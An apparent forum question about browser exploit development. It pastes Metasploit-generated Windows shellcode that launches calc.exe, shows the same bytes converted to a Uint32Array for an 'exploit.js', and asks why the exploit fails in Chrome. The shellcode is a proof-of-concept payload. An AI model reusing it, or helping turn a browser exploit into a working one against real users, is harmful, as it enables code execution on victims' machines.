I use msf create shellcode shellcode=\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00
then convert shellcode with convert_shellcode.js and replace the shellcode in exploit.js
Uint32Array(49) =[8579324, 2304770048, 1690317285, 2335199371, 1384844370, 678595348, 642430735, 1017970481, 738360417, 231719200, 4074948353, 1384863570, 1011518224, 2014399627, 3506522339, 542739281, 1233900289, 1228595992, 25900171, 2902405590, 17682369, 1977628871, 4168942582, 1965325627, 1485527268, 1725104420, 2336951435, 3540065368, 25887883, 608471504, 1633377060, 4283521625, 1516199904, 2380993163, 2365680221, 45701, 828919808, 4287065995, 3052452821, 2791855778, 4288527765, 2080783573, 3774578698, 1203438965, 1785688595, 3590279936, 1668047203, 1702389038, 2425393152]
but when I execute the exploit.html in chrome, it's not successfull